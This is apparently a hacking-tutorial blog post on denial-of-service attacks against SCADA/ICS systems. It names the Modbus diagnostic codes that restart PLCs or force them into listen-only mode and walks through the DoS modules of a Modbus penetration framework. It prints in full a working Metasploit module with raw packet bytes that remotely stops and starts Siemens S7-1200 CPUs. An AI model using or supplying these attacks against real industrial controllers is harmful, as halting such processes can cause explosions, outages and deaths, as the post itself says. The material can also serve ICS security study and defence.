top of page
OTW

SCADA Hacking: DoSing a SCADA site

Updated: Dec 30, 2022


SCADA and Industrial Control Sites (ICS) are among the most crucial and most vulnerable sites. These sites include everything from nuclear power plants, to home HVAC systems and everything in between.

The security of these systems is slightly different than traditional IT systems. In traditional IT systems we are protecting the data. With SCADA/ICS systems we are protecting the process. In many of these systems, if a process fails, it may cost 1000's of lives. Imagine a petroleum refinery. If the systems monitoring and managing the proper pressure in a distilling vessel fail, the pressure may get too high and the entire refinery would blow. This is exactly what happened at the Texas City refinery in 2004 that killed 15 people and leveled one of the world's largest refineries.

This means that the Denial of Service (DOS) attack against these systems is far more serious a threat than to a website, for instance. If a website gets DoSed, the owner will likely lose some revenue, but no one dies.

Other potential disastrous impacts of DoS attacks against SCADA/ICS systems include electrical blackouts, shutdown of water and sewage systems and other essential municipal services. We as a society and economy are dependent upon the continuous operation of these services.

Different Protocols

As I have pointed out in my previous articles in this series, SCADA/ICS systems use different communication protocols than traditional IT. As a result, many SCADA/ICS systems have benefited from "security through obscurity". In general, the attacks against traditional IT systems will NOT work against SCADA/ICS systems.

Modbus

Modbus is one of those proprietary protocols used throughout the SCADA/ICS industry. It is a simple and lightweight protocol and uses port 502. You can see the simple, original serial-based modbus packet below and then the modified TCP/IP enabled modbus packet directly below that.

The modbus packets consist primarily as a Slave ID or Unit ID, a Function Code, a Data section and an error checker (CRC). Below you can see a list of some of the basic Function Codes in modbus. Note that Function Code 8 is "Diagnostic".

Within each Function Code in modbus, there are sub-function codes. You can see some of the sub-function codes of Function code 8 below.

Please note sub-function codes 01 and 04, as these can be used to DoS the modbus protocol running on the SCADA PLC's. Sub-function code 01 will restart the PLC and sub-function code 04 will force the PLC into "listen only mode".

Modbus Diagnostic Functions in Wireshark

We can create filters in Wireshark to view these modbus diagnostic packets. In the screenshot below, we are viewing packets that restart the communication in modbus devices . This would be Function Code 8 and sub-code 1. If an attacker can send these packets repeatedly, it would effectively DoS the system by restarting the PLC repeatedly.

In the next screenshot, we have built a filter for modbus diagnostic sub-code =4 or the "Force Listen Open". When a PLC is placed in this mode, it is forced to only "listen" and is effectively DoSed. Imagine what would happen when a PLC controlling pressure in a pressurized vessel were forced into listen only mode and and it could not be sent commands!

Modbus DoS Attack Vectors

Among the many tools for attacking SCADA and modbus is the Modbus Pentration Framework. You can download from github at;

Once we download it, we can run it by typing;

smod> python smod.py

We can see the MODBUS Penetration Framework's modules by typing;

SMOD> show modules

Note that the MODBUS penetration framework has three (3) DoS modules. The first of these is the DOS Galil RIO-47100. We can see this exploit below. It is very simple, it repeatedly sends a read request to the modbus-based PLC similar to a HTTP, SYN or ICMP flood based DoS attack.

More Advanced DOS Attack Vectors

More recently, ICS-CERT issued the following advisory as seen below. It warns against an attack against the Siemens SIMATIC S7 PLC. These are commonly used PLC's used throughout industry for various purposes. This DOS attack simply turns off the CPU in these PLC's.

To view the code that exploits this vulnerability, we can see the Metasploit exploit code below.

 

New Exploit to Start and Stop the Simantic S7 1200 CPU module

# Exploit Title: Simatic S7 1200 CPU command module

# Date: 15-12-2015

# Exploit Author: Nguyen Manh Hung

# Vendor Homepage: http://www.siemens.com/

# Tested on: Siemens Simatic S7-1214C

# CVE : None

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp

include Msf::Auxiliary::Scanner

def initialize(info = {})

super(update_info(info,

'Name'=> 'Simatic S7-1200 CPU START/STOP Module',

'Description' => %q{

Update 2015

The Siemens Simatic S7-1200 S7 CPU start and stop functions over ISO-TSAP.

},

'Author' => 'Nguyen Manh Hung <tdh.mhung@gmail.com>',

'License' => MSF_LICENSE,

'References' =>

[

[ 'nil' ],

],

'Version' => '$Revision$',

'DisclosureDate' => '11-2015'

))

register_options(

[

Opt::RPORT(102),

OptInt.new('FUNC',[true,'func',1]),

OptString.new('MODE', [true, 'Mode select:

START -- start PLC

STOP -- stop PLC

SCAN -- PLC scanner',"SCAN"]),

], self.class)

end

####################################################################################

def packet()

packets=[ #dua tren TIA portal thay cho hello plc

"\x03\x00\x00\x23\x1e\xe0\x00\x00"+

"\x00\x06\x00\xc1\x02\x06\x00\xc2"+

"\x0f\x53\x49\x4d\x41\x54\x49\x43"+

"\x2d\x52\x4f\x4f\x54\x2d\x45\x53"+

"\xc0\x01\x0a",

#session debug

"\x03\x00\x00\xc0\x02\xf0\x80\x72"+

"\x01\x00\xb1\x31\x00\x00\x04\xca"+

"\x00\x00\x00\x02\x00\x00\x01\x20"+

"\x36\x00\x00\x01\x1d\x00\x04\x00"+

"\x00\x00\x00\x00\xa1\x00\x00\x00"+

"\xd3\x82\x1f\x00\x00\xa3\x81\x69"+

"\x00\x15\x16\x53\x65\x72\x76\x65"+

"\x72\x53\x65\x73\x73\x69\x6f\x6e"+

"\x5f\x43\x43\x39\x43\x33\x39\x33"+

"\x44\xa3\x82\x21\x00\x15\x0b\x31"+

"\x3a\x3a\x3a\x36\x2e\x30\x3a\x3a"+

"\x3a\x12\xa3\x82\x28\x00\x15\x0d"+

"\x4f\x4d\x53\x2b\x20\x44\x65\x62"+

"\x75\x67\x67\x65\x72\xa3\x82\x29"+

"\x00\x15\x00\xa3\x82\x2a\x00\x15"+

"\x00\xa3\x82\x2b\x00\x04\x84\x80"+

"\x80\x80\x00\xa3\x82\x2c\x00\x12"+

"\x11\xe1\xa3\x00\xa3\x82\x2d\x00"+

"\x15\x00\xa1\x00\x00\x00\xd3\x81"+

"\x7f\x00\x00\xa3\x81\x69\x00\x15"+

"\x15\x53\x75\x62\x73\x63\x72\x69"+

"\x70\x74\x69\x6f\x6e\x43\x6f\x6e"+

"\x74\x61\x69\x6e\x65\x72\xa2\xa2"+

"\x00\x00\x00\x00\x72\x01\x00\x00",

######

"\x03\x00\x00\x77\x02\xf0\x80\x72"+#p1

"\x02\x00\x68\x31\x00\x00\x05\x42"+

"\x00\x00\x00\x03\x00\x00\x03\xff"+

"\x34\x00\x00\x03\xff\x01\x01\x82"+

"\x32\x01\x00\x17\x00\x00\x01\x3a"+

"\x82\x3b\x00\x04\x81\x40\x82\x3c"+

"\x00\x04\x81\x40\x82\x3d\x00\x04"+

"\x00\x82\x3e\x00\x04\x84\x80\xc0"+

"\x40\x82\x3f\x00\x15\x00\x82\x40"+

"\x00\x15\x05\x32\x3b"+

"\x35\x34\x34\x82\x41"+

"\x00\x03\x00\x03\x00\x00\x00\x00"+#2

"\x04\xe8\x89\x69\x00\x12\x00\x00"+

"\x00\x00\x89\x6a\x00\x13\x00\x89"+

"\x6b\x00\x04\x00\x00\x00\x00\x00"+

"\x00\x72\x02\x00\x00",

"\x03\x00\x00\x07\x02\xf0\x00",

#bat dau qua trinh diag

"\x03\x00\x00\x2b\x02\xf0\x80\x72"+

"\x02\x00\x1c\x31\x00\x00\x04\xbb"+

"\x00\x00\x00\x05\x00\x00\x03\xff"+

"\x34\x00\x00\x00\x01\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x72"+

"\x02\x00\x00",

#tiep tuc diag

"\x03\x00\x00\x2b\x02\xf0\x80\x72"+

"\x02\x00\x1c\x31\x00\x00\x04\xbb"+

"\x00\x00\x00\x06\x00\x00\x03\xff"+

"\x34\x00\x00\x00\x02\x00\x01\x01"+

"\x00\x00\x00\x00\x00\x00\x00\x72"+

"\x02\x00\x00",

#truoc start-stop

"\x03\x00\x00\x42\x02\xf0\x80"+

"\x72\x02\x00\x33\x31\x00\x00\x04"+

"\xfc\x00\x00\x00\x07\x00\x00\x03"+

"\xff\x36\x00\x00\x00\x34\x02\x91"+

"\x3d\x9b\x1e\x00\x00\x04\xe8\x89"+

"\x69\x00\x12\x00\x00\x00\x00\x89"+

"\x6a\x00\x13\x00\x89\x6b\x00\x04"+

"\x00\x00\x00\x00\x00\x00\x00\x72"+

"\x02\x00\x00",

"\x03\x00\x00\x43\x02\xf0\x80"+

"\x72\x02\x00\x34\x31\x00\x00\x04"+

"\xf2\x00\x00\x00\x08\x00\x00\x03"+

"\xff\x36\x00\x00\x00\x34\x01\x90"+

"\x77\x00\x08\x03\x00\x00\x04\xe8"+

"\x89\x69\x00\x12\x00\x00\x00\x00"+

"\x89\x6a\x00\x13\x00\x89\x6b\x00"+

"\x04\x00\x00\x00\x00\x00\x00\x00"+

"\x72\x02\x00\x00",

"\x03\x00\x00\x43\x02\xf0\x80"+

"\x72\x02\x00\x34\x31\x00\x00\x04"+

"\xf2\x00\x00\x00\x08\x00\x00\x03"+

"\xff\x36\x00\x00\x00\x34\x01\x90"+

"\x77\x00\x08\x01\x00\x00\x04\xe8"+

"\x89\x69\x00\x12\x00\x00\x00\x00"+

"\x89\x6a\x00\x13\x00\x89\x6b\x00"+

"\x04\x00\x00\x00\x00\x00\x00\x00"+

"\x72\x02\x00\x00",

]

return packets

end

#############################################################################

def start_PLC(scr)

print_good "mode select: START"

sock.put(packet[6].gsub("\xff",[scr].pack("c")))#send hello plc

sock.get_once()

sleep(0.05)

sock.put(packet[7].gsub("\xff",[scr].pack("c")))#send hello plc

#sock.get_once()

dt=sock.get_once(-1, sock.def_read_timeout)

if dt.length.to_i == 30

print_good "PLC---->RUN"

else

a= dt.to_s.gsub(/[\x80-\xff]/," ")

print_error a.to_s.gsub(/[\x00-\x30]/," ")

end

end

#############################################################################

def stop_PLC(scr)

print_good "mode select: STOP"

sock.put(packet[6].gsub("\xff",[scr].pack("c")))#send hello plc

sock.get_once()

sleep(0.05)

sock.put(packet[8].gsub("\xff",[scr].pack("c")))#send hello plc

dt=sock.get_once(-1, sock.def_read_timeout)

if dt.length.to_i == 30

print_good "PLC---->STOP"

else

a= dt.to_s.gsub(/[\x80-\xff]/," ")

print_error a.to_s.gsub(/[\x00-\x30]/," ")

end

end

#############################################################################

def PLC_SCAN(ip)

sock.put(packet[0])#send hello plc

sock.get_once()

sleep(0.05)

sock.put(packet[1])#xin 1 session debug

dt=sock.get_once(-1, sock.def_read_timeout)

sock.put(packet[3])#send hello plc

sock.get_once()

arr=dt.split(/;/)

print_good "#{ip.to_s}: #{arr[2].to_s} : #{arr[3][0..3].to_s}"

end

#############################################################################

def run_host(ip)

mode=datastore['MODE']

func=datastore['FUNC']

connect()

if mode !="scan" && mode!="SCAN"

sock.put(packet[0])#send hello plc

sock.get_once()

sleep(0.05)

sock.put(packet[1])#xin 1 session debug

dt=sock.get_once(-1, sock.def_read_timeout)

sock.put(packet[3])#send hello plc

sock.get_once()

arr=dt.split(/;/)

print_good "#{arr[2].to_s} : #{arr[3][0..3].to_s}"

data=dt.unpack("C*")

a= (data[24]).to_i

b= (data[26]).to_i

scr=a|128

scr1=b|128

#print_line scr.to_s

if arr.length.to_i ==5 #neu lay duoc session

session_i= arr[4][0..4].each_byte.map { |dt| '\x%02x' % dt.to_i }.join

pac=packet[2].gsub("\xff",[scr].pack("c"))

sock.put(pac.gsub("\x35\x34\x34\x82\x41", arr[4][0..4]))

end

sock.put(packet[3])#send uknown packet to plc

sock.get_once()

case mode

when "START" , "start"

start_PLC(scr)

when "STOP" , "stop"

stop_PLC(scr)

else

print_error("Invalid MODE")

end

else

PLC_SCAN(ip)

end

disconnect()

end

end

SCADA/ICS systems require a different approach to DoS attacks as such an attack can be deadly and disabling, unlike traditional IT systems where a DoS attack is more of a nuisance than deadly.. In this article, I attempted show you some of the more common attack vectors in DoSing SCADA systems using modbus.

Keep coming back for more on attacking and securing SCADA/ICS systems!


7,485 views
bottom of page